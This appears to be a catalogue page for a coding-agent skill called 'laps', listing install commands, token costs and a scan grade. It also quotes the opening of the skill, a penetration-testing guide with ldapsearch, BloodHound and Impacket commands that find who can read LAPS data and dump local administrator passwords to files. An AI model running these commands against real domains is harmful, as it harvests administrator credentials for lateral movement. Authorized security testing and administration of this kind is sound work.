laps

laps is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 27 tokens per session (1,344 once invoked), scanned A, a copy of laps, Apache-2.0.

A guide to finding and reading local administrator passwords stored by LAPS, a Windows feature that gives each computer a changing administrator password. It covers both the older and newer LAPS formats in Active Directory, Microsoft’s directory service for Windows networks.

In plain words
What is it for?
Use it to check LAPS deployment, review delegated password-reading permissions, and query stored passwords when your account is authorized to do so.
Why use it?
It helps identify which accounts can read these passwords and whether that access is broader than intended. The information is for authorized security testing and administration.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to check LAPS deployment, review delegated password-reading permissions, and query stored passwords when your account is authorized to do so.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/laps
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill laps
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for laps

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/laps/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/laps/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for laps

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/laps"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/laps.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 27 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,344 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 98% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00027 $0.01344
Opus 5 $0.00014 $0.00672
Sonnet 5 $0.00005 $0.00269
Haiku 4.5 $0.00003 $0.00134

Measured 10d ago against content hash 6332e2e63d11, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

laps scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

98% identical to laps — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/ad/laps/SKILL.md · 134 lines

How it starts

The opening of the file, as written. The whole thing — 134 lines — stays where its author put it; the contents beside it link to each section on GitHub.

LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores randomized local admin passwords on computer objects in AD. Reading them requires ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read permission — which is OFTEN over-delegated.

1. Detect LAPS deployment

# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
  '(name=ms-Mcs-AdmPwd)' name

# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name

# Either present = LAPS is deployed

2. Find delegated readers (your target ACL)

From BloodHound — anyone with ReadLAPSPassword edge:

MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name

Common over-delegation patterns:

  • "HelpDesk-LAPS-Read" groups granted to ALL computers
  • IT-Operations OUs reading their child OUs (then a flat OU = global)
  • Service accounts with GenericAll on Computer objects (implies LAPS read)

3. Read passwords (assuming you can)

# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt

# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password

Impacket helper:

# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
  -outputfile /tmp/laps.csv

# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key

4. Bulk-process result

laps_ingest("/tmp/laps.txt")

This adds:

kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
            props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")

Read the full file on GitHub · 134 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 134 lines · 27 tokens per session scan A 6332e2e63d11

Subscribe to this mod's changes

laps is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,344 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. It is 98% identical to laps, differing in 2 lines, and is treated as a copy.